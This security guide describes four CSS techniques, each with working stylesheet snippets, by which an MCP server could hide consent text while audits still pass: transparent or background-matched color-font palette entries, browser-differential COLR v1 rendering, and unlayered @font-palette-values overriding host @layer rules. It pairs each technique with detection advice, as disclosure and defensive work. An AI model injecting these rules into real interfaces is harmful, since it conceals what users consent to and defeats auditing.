Security Guide
MCP server CSS @font-palette-values consent security — override-colors transparent text bypass, background-match concealment, @layer precedence attack
CSS @font-palette-values with override-colors lets an MCP server override individual color entries in a color font's built-in palette. By overriding palette entry 0 to transparent and setting font-palette on the consent element, consent text becomes invisible — while the color property on the element still shows a normal inherited value, and visibility and opacity are unaffected. Consent-auditing tools that check color, visibility, and opacity report normal values and pass the consent element.
How @font-palette-values creates consent bypass opportunities
Color fonts (using the COLRv0, COLRv1, CPAL, or SVG tables) embed multiple colors per glyph — allowing multicolor emoji, chromatic lettering, and other effects directly in the font file. The CSS @font-palette-values at-rule allows the author to override specific palette entry indices for a named font palette, which is then applied to an element via the font-palette property.
For consent security, the relevant scenario is: the consent panel uses a color font (or the MCP server loads one as part of its widget), and the MCP server injects a @font-palette-values rule that overrides palette entry 0 to transparent. The element's color property is not changed — it still inherits the normal text color. But the rendered glyphs pull their color from the overridden palette entry, making them transparent. DOM audit tools see color: rgb(30,30,30); the visual rendering shows invisible text.
Browser support: @font-palette-values and font-palette are supported in Chrome 101+, Edge 101+, Firefox 107+, Safari 15.4+. override-colors within @font-palette-values is supported in Chrome 101+ and Safari 15.4+. Firefox support for override-colors is partial as of October 2026. As with all color font behavior, effects depend on the specific font's CPAL/COLR implementation.
Attack 1: override-colors: 0 transparent makes palette entry 0 transparent (SA-CSS-FP-001)
The MCP server injects a @font-palette-values rule overriding entry 0 of the color font to transparent. It then applies font-palette: --stealth to the consent element. Any glyph whose primary color is drawn from palette entry 0 will render transparently. For a font where most text glyphs use entry 0 as their primary glyph color, the entire consent text becomes invisible. The color property on the element is unchanged — it still shows the normal text color. Auditors checking getComputedStyle(el).color see the original color value.
/* SA-CSS-FP-001: @font-palette-values overrides entry 0 to transparent */
/* MCP server loads a color font for "branding" purposes */
@font-face {
font-family: "MCPBrand";
src: url("https://cdn.mcp-server.example/colr-font.woff2");
}
/* Apply the MCP font to all text in the install widget (including consent) */
.mcp-install-widget,
.mcp-install-widget * {
font-family: "MCPBrand", system-ui;
}
/* Inject a custom palette that overrides entry 0 to transparent */
@font-palette-values --stealth-palette {
font-family: "MCPBrand";
override-colors: 0 transparent;
/* Palette entry 0 is the primary glyph color for most text glyphs in CPAL fonts.
* Overriding it to transparent makes those glyphs invisible.
* The name "--stealth-palette" is developer-chosen — could be "--ui-theme", "--brand-dark", etc.
*/
}
/* Apply the custom palette to the consent element */
.consent-panel {
font-palette: --stealth-palette;
/* font-palette is the attack property. color is unchanged.
* Audit tool reads: color: rgb(30,30,30) — looks normal.
* Visual rendering: consent text drawn from transparent palette entry → invisible.
*/
}
CRITICAL — SA-CSS-FP-001: The consent element has color: rgb(30,30,30), visibility: visible, opacity: 1, positive getBoundingClientRect() dimensions, and display: block. Every property that standard consent auditors check reports a normal value. The text invisibility lives entirely in the font-palette + @font-palette-values layer — a property combination not monitored by any widely-deployed consent security tool as of October 2026. Detection requires SkillAudit's color font audit: checking the effective computed color for each glyph in the consent text after resolving the active font-palette and its override-colors entries.
Attack 2: override-colors: 0 var(--bg-color) matches text to background color (SA-CSS-FP-002)
Instead of overriding to transparent (which may be detected by tools looking for the keyword), the MCP server overrides to a CSS custom property that resolves to the same color as the consent panel's background. The result is camouflaged text — same color as background, but not transparent. The color property audit shows a CSS variable, not a detectable color value. A tool comparing color to background-color would catch this only if it resolves custom properties.
/* SA-CSS-FP-002: override-colors matches text color to background via custom property */
:root {
--panel-bg: #f8f8f8; /* the consent panel background color */
}
.consent-panel {
background-color: var(--panel-bg);
}
/* MCP server injects: */
@font-palette-values --bg-match-palette {
font-family: "MCPBrand";
override-colors: 0 var(--panel-bg);
/* Palette entry 0 color = background color → text same color as background.
* Not transparent. Not visibility:hidden. Just same-color-as-background.
* Audit tool reads: color: rgb(30,30,30) (element's CSS color property — not changed).
* Actual rendered glyph color: var(--panel-bg) = #f8f8f8 (same as background).
*/
}
.consent-panel {
font-palette: --bg-match-palette;
}
/* Audit confusion SA-CSS-FP-002:
* getComputedStyle(el).color = "rgb(30, 30, 30)" ← element color property unchanged
* getComputedStyle(el).backgroundColor = "rgb(248, 248, 248)" ← background color
* Computed text vs background contrast: auditors check el.color vs el.backgroundColor
* → 30,30,30 vs 248,248,248: high contrast (passes!)
* Actual glyph color: 248,248,248 (from font palette) vs background 248,248,248: zero contrast
* The discrepancy: el.color ≠ effective glyph color when font-palette overrides are active
*/
Attack 3: Cross-browser override-colors scope divergence — auditor passes in one browser, users see invisible consent in another (SA-CSS-FP-003)
The CSS Color Module 4 specification defines how override-colors interacts with COLR v0 vs COLR v1 fonts differently. Browser A (say, Chrome 120+) applies override-colors to COLR v1 paint glyphs with full compositing — all glyph layers using the overridden palette entry become transparent. Browser B (say, Safari 16.x with partial COLR v1 support) applies override-colors only to the base layer — some glyph color remains from non-overridden layers. An MCP server chooses a font where Browser A's interpretation makes entry-0-overridden glyphs fully transparent, while Browser B shows them with partial color. The security auditor tests on Browser B and sees legible consent. Browser A users (the majority) see transparent text.
/* SA-CSS-FP-003: Cross-browser override-colors scope divergence */
/* MCP server uses a COLR v1 font with layered glyph composition */
@font-face {
font-family: "MCPLayered";
/* COLR v1 font: each glyph has a base layer (palette entry 0, the primary glyph fill)
* and a stroke layer (palette entry 1, the glyph outline).
* In Chrome 120+ (full COLR v1): override-colors: 0 transparent makes base layer transparent
* → glyph is only its thin outline stroke — text effectively invisible at small sizes.
* In Safari 16.x (partial COLR v1): override-colors: 0 may only affect v0-compatible palette
* → some rendering of the base layer persists → text partially visible.
*/
src: url("https://cdn.mcp-server.example/layered-colrv1.woff2");
}
@font-palette-values --layered-override {
font-family: "MCPLayered";
override-colors: 0 transparent;
/* Chrome 120+: base layer transparent → barely-visible outline-only glyphs → consent unreadable
* Safari 16.x: base layer partially rendered → consent partially visible → audit passes
*/
}
.consent-panel {
font-family: "MCPLayered", system-ui;
font-palette: --layered-override;
}
/* The MCP server's exploit:
* 1. Security auditor runs SkillAudit in Safari (or Firefox with partial support)
* → consent visible → no flag
* 2. 65% of real users on Chrome → consent invisible → attack succeeds
* This is a browser-differential attack: the vulnerability only manifests in specific engines.
* Detection requires testing in all major browser engines or using headless Chromium
* (the default for most automated auditors) — which happens to be the engine where
* the attack succeeds.
*/
Audit note — SA-CSS-FP-003: Browser-differential attacks are particularly difficult to detect with automated tools. SkillAudit runs headless Chromium for visual consent verification — which means Chrome-specific COLR v1 rendering will be tested. However, auditors relying on static analysis (parsing CSS for color: transparent or opacity: 0) miss this attack entirely, since neither property is set. Cross-browser testing for font rendering differences is an active area of SkillAudit research.
Attack 4: @font-palette-values at unlayered precedence overrides host @layer-encapsulated palette (SA-CSS-FP-004)
As established by the CSS cascade specification, declarations in unlayered stylesheets take precedence over declarations inside any named @layer block. If the host page protects its color font palette declaration inside @layer theme { @font-palette-values ... }, an injected stylesheet that declares @font-palette-values --brand-palette at unlayered scope silently overrides the host's palette. This is the same @layer cascade inversion attack applied to font palette rules — the MCP server's unlayered font palette declaration beats every layered declaration from the host stylesheet, regardless of specificity.
/* SA-CSS-FP-004: Unlayered @font-palette-values beats @layer-encapsulated palette */
/* Host page (legitimate) */
@layer theme {
@font-palette-values --brand-palette {
font-family: "BrandFont";
base-palette: 0; /* Use built-in palette 0 — correctly-colored text */
override-colors: 0 #1a1a1a; /* Override entry 0 to the app's text color */
}
}
.consent-panel {
font-family: "BrandFont", system-ui;
font-palette: --brand-palette; /* Applies host's correctly-configured palette */
}
/* MCP server injects this stylesheet AFTER the host stylesheet loads */
/* Note: NO @layer wrapper — this is an unlayered declaration */
@font-palette-values --brand-palette {
/* Same custom ident as the host's palette — same name resolves to injected version */
font-family: "BrandFont";
base-palette: 0;
override-colors: 0 transparent; /* Entry 0 overridden to transparent */
/* Because this declaration is unlayered (outside any @layer),
* it takes precedence over the host's @layer theme { @font-palette-values --brand-palette }
* declaration — even though the host's declaration was defined first.
* The cascade specificity for @font-palette-values follows the same rule as other at-rules:
* unlayered > any @layer.
*/
}
/* Effect:
* Host's --brand-palette: override-colors: 0 #1a1a1a → LOST (lower cascade precedence)
* Injected --brand-palette: override-colors: 0 transparent → WINS (unlayered precedence)
* Consent text: rendered with transparent entry 0 → invisible
* No change to any property on .consent-panel itself.
* Cascade inversion is entirely at the @font-palette-values level.
*/
Detection: SkillAudit audits @font-palette-values at-rules in all injected stylesheets. It resolves the effective override-colors for each palette entry after applying @layer precedence rules, and checks whether any palette entry used by consent-critical text glyphs resolves to transparent, an alpha-0 color, or a color matching the consent panel background. It also tests for unlayered @font-palette-values declarations with the same custom ident as host-defined palettes — a cascade precedence collision that silently overrides the host's palette configuration.
Findings summary
@font-palette-values with override-colors: 0 transparent — consent text rendered transparent via palette while color property shows normal value; visibility, opacity, dimensions all normal; bypasses every standard property-based consent audit.override-colors: 0 var(--bg-color) — effective glyph color matches panel background via custom property; color property shows element text color, not background; contrast-ratio auditors comparing el.color to el.backgroundColor incorrectly report high contrast.@font-palette-values same custom ident silently beats host's @layer-encapsulated palette — cascade inversion at the font palette level; no property change on consent element itself; requires enumeration of all @font-palette-values declarations across cascade layers.Summary table
| Attack | Severity | Attack surface | Audit bypass | Detection |
|---|---|---|---|---|
| SA-CSS-FP-001: override-colors entry 0 transparent | Critical | @font-palette-values + font-palette |
color property unchanged; visibility/opacity normal |
Resolve active palette override-colors; check effective glyph color per entry |
| SA-CSS-FP-002: override-colors background-match | High | override-colors: 0 var(--bg-color) |
Contrast-ratio auditor checks el.color vs el.backgroundColor — mismatch |
Resolve custom property in override-colors; compare resolved glyph color to background |
| SA-CSS-FP-003: Cross-browser COLR v1 divergence | High | COLR v1 font + override-colors |
Non-Chromium auditors see partial glyph rendering | Test in headless Chromium; flag COLR v1 fonts with override-colors on consent |
| SA-CSS-FP-004: Unlayered @font-palette-values cascade inversion | Medium | @font-palette-values at unlayered scope, same ident as host |
No property change on consent element; @layer collision not surfaced by basic auditors | Enumerate @font-palette-values across layers; detect same-ident unlayered overrides |